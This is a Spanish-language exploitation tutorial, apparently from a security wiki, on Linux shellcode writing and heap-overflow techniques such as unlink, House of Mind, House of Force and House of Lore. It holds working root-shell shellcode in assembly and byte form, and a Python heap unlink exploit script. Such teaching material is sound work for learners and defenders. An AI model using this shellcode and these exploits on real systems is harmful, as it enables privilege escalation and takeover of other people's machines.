| .. | ||
| rop-leaking-libc-address | ||
| bypassing-canary-and-pie.md | ||
| format-strings-template.md | ||
| fusion.md | ||
| README.md | ||
| ret2lib.md | ||
| rop-syscall-execv.md | ||
Explotación de Linux (Básico)
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2.SHELLCODE
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; limpiamos eax
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Ejecutar syscall
nasm -f elf assembly.asm —> Nos devuelve un .o
ld assembly.o -o shellcodeout —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con objdump
objdump -d -Mintel ./shellcodeout —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
Comprobar que la shellcode funciona
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Para confirmar que las llamadas al sistema se realizan correctamente, se debe compilar el programa anterior y las llamadas al sistema deben aparecer en strace ./PROGRAMA_COMPILADO
Al crear shellcodes, se puede utilizar un truco. La primera instrucción es un salto a una llamada. La llamada ejecuta el código original y también coloca el EIP en la pila. Después de la instrucción de llamada, hemos colocado la cadena que necesitamos, por lo que con ese EIP podemos apuntar a la cadena y continuar ejecutando el código.
EJ TRUCO (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
EJ usando el Stack(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Buscador de Egg:
Es un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode guardada allí (busca alguna firma específica en la shellcode). Útil en casos donde solo hay un espacio limitado para inyectar código.
Shellcodes Polimórficos
Son shells cifrados que contienen un pequeño código para descifrarlos y saltar a él, utilizando el truco de Call-Pop. Un ejemplo sería un cifrado César:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5. Métodos complementarios
Técnica de Murat
En Linux, todos los programas se mapean comenzando en 0xbfffffff.
Al observar cómo se construye la pila de un nuevo proceso en Linux, se puede desarrollar un exploit de manera que el programa se inicie en un entorno donde la única variable sea la shellcode. La dirección de esta variable se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode).
De esta forma, se puede obtener de manera sencilla la dirección donde se encuentra la variable de entorno con la shellcode.
Esto es posible gracias a que la función execle permite crear un entorno que solo contenga las variables de entorno deseadas.
Format Strings to Buffer Overflows
La función sprintf mueve una cadena formateada a una variable. Por lo tanto, se podría abusar del formateo de una cadena para causar un desbordamiento de búfer en la variable donde se copia el contenido. Por ejemplo, la carga útil %.44xAAAA escribirá 44B+"AAAA" en la variable, lo que puede causar un desbordamiento de búfer.
Estructuras __atexit
{% hint style="danger" %} Hoy en día es muy raro explotar esto. {% endhint %}
atexit() es una función a la que se le pasan otras funciones como parámetros. Estas funciones se ejecutarán al ejecutar un exit() o al retornar del main. Si se puede modificar la dirección de alguna de estas funciones para que apunte a una shellcode, por ejemplo, se obtendrá el control del proceso, pero actualmente esto es más complicado. Actualmente, las direcciones de las funciones a ejecutar están ocultas detrás de varias estructuras y, finalmente, la dirección a la que apuntan no son las direcciones de las funciones, sino que están encriptadas con XOR y desplazamientos con una clave aleatoria. Por lo tanto, actualmente este vector de ataque no es muy útil, al menos en x86 y x64_86. La función de encriptación es PTR_MANGLE. Otras arquitecturas como m68k, mips32, mips64, aarch64, arm, hppa... no implementan la función de encriptación porque devuelve lo mismo que recibe como entrada. Por lo tanto, estas arquitecturas podrían ser atacadas por este vector.
setjmp() & longjmp()
{% hint style="danger" %} Hoy en día es muy raro explotar esto. {% endhint %}
Setjmp() permite guardar el contexto (los registros). longjmp() permite restaurar el contexto. Los registros guardados son: EBX, ESI, EDI, ESP, EIP, EBP. Lo que sucede es que EIP y ESP son pasados por la función PTR_MANGLE, por lo que las arquitecturas vulnerables a este ataque son las mismas que se mencionaron anteriormente. Son útiles para la recuperación de errores o interrupciones. Sin embargo, por lo que he leído, los otros registros no están protegidos, por lo que si hay un call ebx, call esi o call edi dentro de la función llamada, se puede tomar el control. También se podría modificar EBP para modificar ESP.
VTable y VPTR en C++
Cada clase tiene una Vtable que es un array de punteros a métodos.
Cada objeto de una clase tiene un VPtr que es un puntero al array de su clase. El VPtr es parte del encabezado de cada objeto, por lo que si se logra sobrescribir el VPtr, se podría modificar para que apunte a un método ficticio, de modo que al ejecutar una función se dirija a la shellcode.
Medidas preventivas y evasiones
Reemplazo de Libsafe
Se activa con: LD_PRELOAD=/lib/libsafe.so.2 o "/lib/libsave.so.2" > /etc/ld.so.preload
Intercepta las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado (solo para x86, no para compilaciones con -fomit-frame-pointer, no para compilaciones estáticas, no todas las funciones vulnerables se vuelven seguras y LD_PRELOAD no funciona en binarios con suid).
Espacio de direcciones ASCII Armored
Consiste en cargar las librerías compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene casi ningún ataque, y menos en little endian.
ret2plt
Consiste en realizar un ROP de manera que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2º byte de system()... Al final se llama la dirección guardada en GOT que será system().
Jaulas con chroot()
debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico
Un administrador puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd ..
Instrumentación de código
Valgrind —> Busca errores Memcheck RAD (Return Address Defender) Insure++
8 Heap Overflows: Exploits básicos
Trozo asignado
prev_size | size | —Cabecera *mem | Datos
Trozo libre
prev_size | size | *fd | Ptr forward chunk *bk | Ptr back chunk —Cabecera *mem | Datos
Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan).
En "size" hay bits para indicar: si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario.
Si al liberar un trozo alguno de los contiguos se encuentra libre, estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte en el bin adecuado.
unlink(){ BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk }
Por lo tanto, si logramos modificar P->bk con la dirección de una shellcode y P->fd con la dirección de una entrada en la GOT o DTORS menos 12, se logra:
BK = P->bk = &shellcode FD = P->fd = &dtor_end - 12 FD->bk = BK -> *((&dtor_end - 12) + 12) = &shellcode
Y así, al salir del programa, se ejecutará la shellcode.
Además, la cuarta sentencia de unlink() escribe algo y la shellcode debe estar preparada para esto:
BK->fd = FD -> *(&shellcode + 8) = (&dtor_end - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode.
Por lo tanto, el exploit se crea:
En el buffer1 se inserta la shellcode comenzando con un jmp para que caiga en los nops o en el resto de la shellcode.
Después de la shellcode, se inserta relleno hasta llegar al campo prev_size y size del siguiente trozo. En estos lugares se inserta 0xfffffff0 (para sobrescribir prev_size y marcarlo como libre) y "-4" (0xfffffffc) en size (para que al comprobar en el tercer trozo si el segundo estaba libre, en realidad vaya al prev_size modificado que indicará que está libre) -> Así, cuando free() investigue, irá al size del tercer trozo pero en realidad irá al segundo - 4 y pensará que el segundo trozo está libre. Entonces, llamará a unlink(). Al calling unlink() se usará P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso).
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1
fake_size = pack("<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev_size) pues es ahí donde mira si el 2º trozo está libre
addr_sc = pack("<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno
got_free = pack("<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí
payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2º trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12
os.system("./8.3.o " + payload)
unset() liberando en sentido inverso (wargame)
Estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reservado.
En ese caso:
En el chunck c se pone el shellcode
El chunck a lo usamos para sobreescribir el b de forma que el el size tenga el bit PREV_INUSE desactivado de forma que piense que el chunck a está libre.
Además, se sobreescribe en la cabecera b el size para que valga -4.
Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink() para desenlazarlo. Sin embargo, como la cabecera PREV_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink() a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”.
De esta forma, si en bk ponemos la dirección a la shellcode y en fd ponemos la dirección a la función “puts()”-12 tenemos nuestro payload.
Técnica de Frontlink
Se llama a frontlink cuando se libera algo y ninguno de sus trozos contiguos no son libres, no se llama a unlink() sino que se llama directamente a frontlink().
Vulnerabilidad útil cuando el malloc que se ataca nunca es liberado (free()).
Necesita:
Un buffer que pueda desbordarse con la función de entrada de datos
Un buffer contiguo a este que debe ser liberado y al que se le modificará el campo fd de su cabecera gracias al desbordamiento del buffer anterior
Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior
Un buffer declarado antes del paso 3 que permita sobreescribir el prev_size de este
De esta forma logrando sobres cribar en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit.
Vulnerabilidad double free()
Si se llama dos veces a free() con el mismo puntero, quedan dos bins apuntando a la misma dirección.
En caso de querer volver a usar uno se asignaría sin problemas. En caso de querer usar otro, se le asignaría el mismo espacio por lo que tendríamos los punteros “fd” y “bk” falseados con los datos que escribirá la reserva anterior.
After free()
Un puntero previamente liberado es usado de nuevo sin control.
8 Heap Overflows: Exploits avanzados
Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la función unlink().
The house of mind
Solo una llamada a free() es necesaria para provocar la ejecución de código arbitrario. Interesa buscar un segundo trozo que puede ser desbordado por uno anterior y liberado.
Una llamada a free() provoca llamar a public_fREe(mem), este hace:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Devuelve un puntero a la dirección donde comienza el trozo (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
En [1] comprueba el campo size el bit NON_MAIN_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap_for_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar_ptr (como si fuese un struct heap_info)
De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en 0x081002a0 podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo 0x0804a000. Cuando este segundo trozo se libere se encontrará que heap_for_ptr(ptr)->ar_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar_ptr)
De esta forma se llama a _int_free(ar_ptr, mem), es decir, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar.
Tal y como se define unsorted_chunks, sabemos que:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Por lo tanto si en av->bins[2] escribimos el valor de __DTOR_END__-12 en la última instrucción se escribirá en __DTOR_END__ la dirección del segundo trozo.
Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de __DTOR_END__-12 porque de ahí la sacará av->bins[2]
En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap_for_ptr() piense que el ar_ptr está al inicio del primer trozo y saque de ahí el av->bins[2] En el segundo fragmento y gracias al primero sobreescribimos el prev_size con un jump 0x0c y el size con algo para activar -> NON_MAIN_ARENA
A continuación en el fragmento 2 ponemos un montón de nops y finalmente la shellcode
De esta forma se llamará a _int_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en __DTOR_END__ la dirección del prev_size del TROZO2 el cual saltará a la shellcode.
Para aplicar esta técnica hace falta que se cumplan algunos requerimientos más que complican un poco más el payload.
Esta técnica ya no es aplicable pues se aplicó casi el mismo parche que para unlink. Se comparan si el nuevo sitio al que se apunta también le está apuntando a él.
Fastbin
Es una variante de The house of mind
nos interesa llegar a ejecutar el siguiente código al cuál se llega pasada la primera comprobación de la función _int_free()
fb = &(av->fastbins[fastbin_index(size)] —> Siendo fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
De esta forma si se pone en “fb” da dirección de una función en la GOT, en esta dirección se pondrá la dirección al trozo sobrescrito. Para esto será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente que av->max_fast esté en la dirección que vamos a sobreescribir.
Dado que con The House of Mind se vio que nosotros controlábamos la posición del av.
Entones si en el campo size ponemos un tamaño de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() nos devolverá fastbins[-1], que apuntará a av->max_fast
En este caso av->max_fast será la dirección que se sobrescrita (no a la que apunte, sino esa posición será la que se sobrescrita).
Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops).
Además, ese mismo trozo falso debe ser menor que av->system_mem. av->system_mem se encuentra 1848 bytes más allá.
Por culpa de los nulos de _DTOR_END_ y de las pocas direcciones en la GOT, ninguna dirección de estas secciones sirven para ser sobrescritas, así que veamos como aplicar fastbin para atacar la pila.
Otra forma de ataque es redirigir el av hacia la pila.
Si modificamos el size para que de 16 en vez de 8 entonces: fastbin_index() nos devolverá fastbins[0] y podemos hacer uso de esto para sobreescribir la pila.
Para esto no debe haber ningún canary ni valores raros en la pila, de hecho tenemos que encontrarnos en esta: 4bytes nulos + EBP + RET
Los 4 bytes nulo se necesitan que el av estará a esta dirección y el primero elemento de un av es el mutexe que tiene que valer 0.
El av->max_fast será el EBP y será un valor que nos servirá para saltarnos las restricciones.
En el av->fastbins[0] se sobreescribirá con la dirección de p y será el RET, así se saltará a la shellcode.
Además, en av->system_mem (1484bytes por encima de la posición en la pila) habrá bastante basura que nos permitirá saltarnos la comprobación que se realiza.
Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 16, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops que van después del campo size del nuevo trozo falso).
The House of Spirit
En este caso buscamos tener un puntero a un malloc que pueda ser alterable por el atacante (por ej, que el puntero esté en el stack debajo de un posible overflow a una variable).
Así, podríamos hacer que este puntero apuntase a donde fuese. Sin embargo, no cualquier sitio es válido, el tamaño del trozo falseado debe ser menor que av->max_fast y más específicamente igual al tamaño solicitado en una futura llamada a malloc()+8. Por ello, si sabemos que después de este puntero vulnerable se llama a malloc(40), el tamaño del trozo falso debe ser igual a 48.
Si por ejemplo el programa preguntase al usuario por un número podríamos introducir 48 y apuntar el puntero de malloc modificable a los siguientes 4bytes (que podrían pertenecer al EBP con suerte, así el 48 queda por detrás, como si fuese la cabecera size). Además, la dirección ptr-4+48 debe cumplir varias condiciones (siendo en este caso ptr=EBP), es decir, 8 < ptr-4+48 < av->system_mem.
En caso de que esto se cumpla, cuando se llame al siguiente malloc que dijimos que era malloc(40) se le asignará como dirección la dirección del EBP. En caso de que el atacante también pueda controlar lo que se escribe en este malloc puede sobreescribir tanto el EBP como el EIP con la dirección que quiera.
Esto creo que es porque así cuando lo libere free() guardará que en la dirección que apunta al EBP del stack hay un trozo de tamaño perfecto para el nuevo malloc() que se quiere reservar, así que le asigna esa dirección.
The House of Force
Es necesario:
- Un overflow a un trozo que permita sobreescribir el wilderness
- Una llamada a malloc() con el tamaño definido por el usuario
- Una llamada a malloc() cuyos datos puedan ser definidos por el usuario
Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande (0xffffffff), así cualquiera solicitud de memoria lo suficientemente grande será tratada en _int_malloc() sin necesidad de expandir el heap
Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá &EIP - 8.
Tenemos que sobreescrbir av->top para que apunte a la zona de memoria bajo el control del atacante:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim recoge el valor de la dirección del trozo wilderness actual (el actual av->top) y remainder es exactamente la suma de esa dirección más la cantidad de bytes solicitados por malloc(). Por lo que si &EIP-8 está en 0xbffff224 y av->top contiene 0x080c2788, entonces la cantidad que tenemos que reservar en el malloc controlado para que av->top quede apuntando a $EIP-8 para el próximo malloc() será:
0xbffff224 - 0x080c2788 = 3086207644.
Así se guardará en av->top el valor alterado y el próximo malloc apuntará al EIP y lo podrá sobreescribir.
Es importante saber que el size del nuevo trozo wilderness sea más grande que la solicitud realizada por el último malloc(). Es decir, si el wilderness está apuntando a &EIP-8, el size quedará justo en el campo EBP del stack.
The House of Lore
Corrupción SmallBin
Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado.
Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max_fast (72normalmente) y menos a MIN_LARGE_SIZE (512). Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo:
bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar.
bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección
bck->fd = bin; Se cierra la lista haciendo que este apunte a bin
Se necesita:
Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin (es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow)
Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlada por el atacante.
El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista (el siguiente en ofrecer) está en la dirección falsa que hayamos puesto (al stack o GOT por ejemplo). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella.
Tras liberar el trozo modificado es necesario que se reserve un trozo mayor al liberado, así el trozo modificado saldrá de unsorted bins y se introduciría en su bin.
Una vez en su bin es el momento de modificarle el puntero bk mediante el overflow para que apunte a la dirección que queramos sobreescribir.
Así el bin deberá esperar turno a que se llame a malloc() suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa.
Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida.
Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero.
Corrupción LargeBin
Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512.
El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE.
Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned)
Además se ha introducido un parche para hacerlo aún más complicado.
Heap Spraying
Básicamente consiste en reservar tooda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximos posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops.
Heap Feng Shui
Consiste en mediante reservas y liberaciones sementar la memoria de forma que queden trozos reservados entre medias de trozos libres. El buffer a desbordar se situará en uno de los huevos.
objdump -d ejecutable —> Disas functions
objdump -d ./PROGRAMA | grep FUNCION —> Get function address
objdump -d -Mintel ./shellcodeout —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
objdump -t ./exec | grep varBss —> Tabla de símbolos, para sacar address de variables y funciones
objdump -TR ./exec | grep exit(func lib) —> Para sacar address de funciones de librerías (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Saca la dirección de puts a sobreescribir en le GOT
objdump -D ./exec —> Disas ALL hasta las entradas de la plt
objdump -p -/exec
Info functions strncmp —> Info de la función en gdb
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